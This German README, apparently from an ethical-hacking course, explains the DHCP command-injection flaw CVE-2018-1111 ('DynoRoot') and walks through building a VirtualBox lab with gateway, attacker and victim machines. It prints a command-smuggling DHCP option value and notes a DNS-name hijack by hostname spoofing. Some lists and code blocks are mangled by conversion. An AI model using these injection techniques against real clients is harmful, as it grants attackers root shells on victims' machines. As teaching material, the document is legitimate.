
DHCP-Exploitation mit DynoRoot (CVE-2018-1111)
Dieses Projekt demonstriert eine bekannte Schwachstelle von Fedora- und RedHat-Rechnern im Zusammenhang mit einer unsicheren clientseitigen Implementierung des Dynamic Host Configuration Protocol (DHCP). Ein betrügerischer DHCP-Server kann DHCP-Angebote mit einer schädlichen Nutzlast erstellen, die in einer Root-Shell auf dem Opferrechner ausgeführt wird.
Die Schwachstelle wird Felix Wilhelm zugeschrieben und ist bekannt als CVE-2018-1111 oder "DynoRoot".
Das Dynamic Host Configuration Protocol (DHCP) ist eine oft übersehene Komponente in vernetzten Systemen. Seine Rolle besteht darin, die dynamische Konfiguration von Host-Rechnern zu ermöglichen, die sich mit einem bestehenden Netzwerk verbinden. Der häufigste Anwendungsfall ist die Zuweisung einer IP-Adresse an neu verbundene Hosts und deren Information über vorhandene Routen zum Zugriff auf andere Netzwerke. Zusätzliche Optionen können angegeben werden, z. B. die Adresse eines lokalen DNS-Servers und die Zone, die er bedient, oder der Speicherort einer Boot-Datei.
Analysieren wir das 4-Wege-Protokoll, das befolgt wird, wenn ein neuer Host einem Netzwerk beitreten möchte, nachdem er sich physisch über eine Ethernet- oder drahtlose Verbindung damit verbunden hat.
DISCOVER-Nachricht an das Netzwerk.OFFER, das Folgendes enthält: IP-Adresse, Netzwerk-Submask, Router-Adresse und andere Optionen.REQUEST, um die angebotene IP-Adresse offiziell zu leasenACK ab, das angibt, dass der Client die IP-Adresse für eine bestimmte Zeit nutzen darf.Nach dem anfänglichen Austausch kann der Client den Lease einfach durch Senden einer weiteren REQUEST-Nachricht verlängern. Der Server prüft die Existenz eines Leases mit der IP- und MAC-Adresse des Clients und antwortet mit einem ACK.
Einige zu beachtende Punkte:
DISCOVER-Phase überspringen und sofort eine REQUEST-Adresse anfordern. Dies ist üblich in Szenarien, in denen der Client bereits in der Vergangenheit mit dem Netzwerk verbunden war und sich an die vorherige Adresse erinnert. In diesem Fall prüft der Server die Verfügbarkeit der Adresse und bestätigt die Anfrage mit einem ACK, oder sendet, falls der Lease nicht verfügbar ist, ein NACK.RELEASE-Nachricht senden, um den Server zu informieren, dass die Adresse nun verfügbar ist. Dies ist jedoch nicht durch das Protokoll vorgeschrieben, und der Server sammelt regelmäßig abgelaufene Leases ein.OFFERs mehr an neue Clients geben.OFFERs erhält, akzeptiert er nur eines, die anderen Server beobachten die gesendete REQUEST und invalidieren das Angebot.Die Schwachstelle befindet sich in /etc/NetworkManager/dispatcher.d/11-dhclient, das vom Client ausgeführt wird, um die über DHCP empfangenen Optionen zu parsen und zu setzen.
declare ist ein Bash-Builtin, das, wenn es ohne Argumente verwendet wird, alle deklarierten Variablen auflistet.grep filtert alle DHCP-bezogenen Variablen.while read opt iteriert über die DHCP-Variablen eine nach der anderen, führt eine Analyse durch und gibt für jede Option eine Zeile wie export new_optionname=value aus.eval ausgeführt.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Normalbetrieb
In normalen Situationen würde der Code einwandfrei funktionieren und die neuen DHCP-Optionen parsen.
Als Beispiel: der folgende Code:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Wird diese beiden export-Anweisungen ausgeben, die von eval ausgewertet werden sollen:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Code-Injektion
Aufgrund des unsicheren `eval` ist es jedoch möglich, Bash-Befehle einzuschleusen:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Wird zur Auswertung von echo Hacked! führen:```text
[1] 1541
Hacked!
### Sources
- [Exploit-Datenbankeintrag](https://www.exploit-db.com/exploits/44890)
- [RedHat-Ankündigung](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable-Blogbeitrag](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub-Repository](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter-Ankündigung](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Setup
Der minimale Aufbau, um den Exploit zu demonstrieren, besteht aus nur zwei Maschinen: der `victim`-Maschine unter Fedora 28 und einer `attacker`-Maschine. In diesem Setup muss der Angreifer lediglich einen DHCP-Dienst anbieten und auf die Verbindung des Opfers warten.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Minimaler Exploit-Aufbau.</figcaption>
</figure>
Ein realistischeres Setup würde die Maschinen in einem privaten Netzwerk platzieren, in dem eine dritte Maschine, der `gateway`, als gutartiger DHCP-Server und als Gateway zum externen Internet konfiguriert ist. In diesem Setup muss der Angreifer verhindern, dass das Opfer eine Verbindung zum legitimen DHCP-Server herstellt, bevor er den Angriff durchführen kann.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Privates Netzwerk-Setup mit einer Gateway-Maschine, die als DHCP, Router und Firewall fungiert.</figcaption>
</figure>
In den folgenden Abschnitten werden wir:
1. VirtualBox installieren
2. 3 virtuelle Maschinen erstellen: `gateway`, `attacker` und `victim`
3. Das Betriebssystem auf den Maschinen installieren (Benutzer, Netzwerk und SSH-Zugriff)
4. Den Gateway konfigurieren, um den gutartigen DHCP-Server für das von VirtualBox bereitgestellte virtuelle interne Netzwerk zu hosten
5. Die Python-Abhängigkeiten für den Angriff installieren
Um [direkt zur Aktion zu springen](#performing-the-attack) und die manuelle Einrichtung zu überspringen, kann das Skript [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) im Ordner `ansible` ausgeführt werden, das die virtuellen Maschinen (fast) automatisch erstellt und mit [Ansible-Rollen](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) konfiguriert. Stellen Sie sicher, dass Ansible und VirtualBox installiert sind, bevor Sie `setup.sh` starten.
### Voraussetzungen
#### VirtualBox installieren
Die folgenden Anweisungen stammen aus der [offiziellen Installationsanleitung](https://www.virtualbox.org/wiki/Downloads).
Fügen Sie diese Zeile in `/etc/apt/sources.list` hinzu:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Installieren Sie virtualbox und das extension pack:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Ansible installieren (optional)
Aus dem [offiziellen Leitfaden für Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
In diesem Abschnitt erstellen wir die SSH-Anmeldedaten, mit denen wir uns bei den Maschinen anmelden. Das Hinzufügen der Hosteinträge in der SSH-Konfigurationsdatei erspart uns später etwas Tipparbeit.
Erstellen Sie einen SSH-Schlüssel ohne Passphrase:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Fügen Sie diese Einträge zur SSH config hinzu (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Diese Maschine hostet den harmlosen DHCP-Server, der einen Pool von Adressen im internen Netzwerk verwaltet. Sie basiert auf Ubuntu Server 18.04 mit dem ISC DHCP-Paket.
In einem realen Szenario würde diese Maschine auch als Router (iptables) und Firewall (UFW Uncomplicated Firewall) zwischen den Maschinen im Netzwerk und der Außenwelt fungieren. Möglicherweise würde sie auch einen DNS-Server für einige interne Dienste hosten (BIND9).
Wir werden die virtuelle Maschine mit den Befehlszeilentools von VirtualBox erstellen, damit der Vorgang so schnell wie möglich wiederholt werden kann. Andernfalls ist es möglich, die VM über die grafische Oberfläche zu erstellen, indem die gleiche Konfiguration eingegeben wird.
Laden Sie das Ubuntu-ISO herunter:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
Erstelle die VM:
- Netzwerkschnittstelle 1 verbunden mit dem standardmäßigen NAT-Netzwerk von VirtualBox
- Netzwerkschnittstelle 2 verbunden mit dem internen Netzwerk `intnet`\
(das "d" in der MAC-Adresse steht für DHCP)
- Portweiterleitung von einem `600x`-Port auf dem Host zum SSH-Port in der virtuellen Maschine```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
Wenn etwas schiefgeht:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Betriebssystem-Installation
Beim ersten Start der Maschine benötigen wir einen virtuellen Desktop, um den Installationsschritten zu folgen. Wir können die virtuelle Maschine im Headless-Modus starten und `rdesktop-vrdp` zum Verbinden verwenden. Wenn VirtualBox auf einem Desktop-Computer läuft, ist es möglicherweise einfacher, die virtuelle Maschine über die GUI zu starten, aber diese Methode funktioniert auch mit einem entfernten VirtualBox-Host.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Configuration parameters for the installer:
gatewaygatewaygat192.168.0.1 auf enp0s8

Nach der Installation herunterfahren, die ISO entfernen und VRDE deaktivieren:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH Login
Für einfachen Zugriff können wir den oben erstellten SSH-Schlüssel auf dem `gateway`-Rechner installieren:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
ISC DHCP installieren:```bash sudo apt install -y isc-dhcp-server
Um DHCP auf der internen Schnittstelle zu aktivieren, bearbeiten wir `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
Die Konfiguration des vom DHCP verwalteten Adresspools befindet sich in /etc/dhcp/dhcpd.conf:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
Die gewählte Standard-Lease-Zeit von 1 Minute ist ziemlich niedrig, aber sie ist für Demonstrationszwecke nützlich.
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
--> Dienst neu starten:```bash sudo systemctl restart isc-dhcp-server
DHCP-Ereignisse werden in `/var/log/syslog` protokolliert.
Wir können relevante Einträge hervorheben mit:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Wenn wir das gateway während der Installation der anderen Maschinen eingeschaltet lassen, übernehmen sie die DHCP-Konfiguration automatisch.
Bind installieren:```bash sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
Bearbeiten `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
Bearbeite /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
Erstellen Sie Forward- und Reverse-Zonen-Dateien in einem Ordner, der für Bind schreibgeschützt ist:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
Überprüfungen ausführen und neu starten:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
Prüfen, ob es funktioniert```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
Symmetrischen Schlüssel für DNS-Updates erstellen:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
Fügen Sie den Schlüssel in `/etc/bind/named.conf.local` ein:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
Kopieren Sie die originale Zonendatei in einen Ordner, der für bind beschreibbar ist, und entfernen Sie den server-Eintrag:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
Überprüfungen ausführen und neu starten:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
Überprüfen Sie, ob es funktioniert, indem Sie den DNS-Eintrag manuell aktualisieren.
Behalten Sie während der folgenden Schritte ein Auge auf tail -f /var/log/syslog für Fehler.
Löschen Sie am Ende die neuen Einträge, da sonst die DHCP-Updates fehlschlagen:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### DHCP-Konfiguration
Konfiguriere DHCP so, dass DNS-Einträge automatisch aktualisiert werden:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
DHCP-Konfiguration kann mit sudo dhcpd -t überprüft werden.
Wenn ein Rechner mit dem Hostnamen server gestartet wird, sollte /var/log/syslog wie folgt aussehen:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
Wenn ein anderer Rechner mit dem Hostnamen `fedora` gestartet wird, erhält er eine IP, wird aber aufgrund der `update-policy` nicht zum DNS hinzugefügt:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
Das Problem ist, dass DHCP jede Maschine mit dem Hostnamen server im DNS registriert, solange es die erste ist. Wenn ein Angreifer versucht, sich per DHCP mit einem doppelten Hostnamen server zu verbinden, wird DHCP dies bemerken und die Aktualisierung des DNS verweigern.```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
Aber wenn der legitime `server` für einige Zeit ausfällt, wird sein Lease freigegeben und die Einträge entfernt.
Dann kann ein Angreifer einfach eindringen, indem er `server` als Hostnamen während des anfänglichen DHCP-Austauschs angibt.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
Die Angreifer-Maschine hat keine besonderen Anforderungen, sie muss Python in einer Conda-Umgebung ausführen können. Wir können zur Vereinfachung das ISO von Ubuntu Server 18.04 wiederverwenden.
Erstellen Sie die VM:
intnet600x-Port auf dem Host zum SSH-Port in der virtuellen Maschine```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### Betriebssysteminstallation
Beim ersten Hochfahren der Maschine benötigen wir einen virtuellen Desktop, um den Installationsschritten zu folgen. Wir können die virtuelle Maschine im Headless-Modus starten und `rdesktop-vrdp` verwenden, um eine Verbindung herzustellen. Wenn VirtualBox auf einem Desktop-Computer läuft, ist es möglicherweise einfacher, die virtuelle Maschine über die GUI zu starten, aber diese Methode funktioniert auch mit einem entfernten VirtualBox-Host.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Konfigurationsparameter für das Installationsprogramm:
attackerattackerattenp0s8 auf DHCP
Nach der Installation herunterfahren, das ISO entfernen und VRDE deaktivieren:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH-Anmeldung
Um den Zugriff zu erleichtern, können wir den oben erstellten SSH-Schlüssel auf der `attacker`-Maschine installieren:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Die Python-Angriffsskripte müssen als root ausgeführt werden, um Low-Level-Netzwerkpakete
mit Scapy erstellen zu können.
Der Einfachheit halber installieren wir alle Abhängigkeiten mit dem Benutzer root.
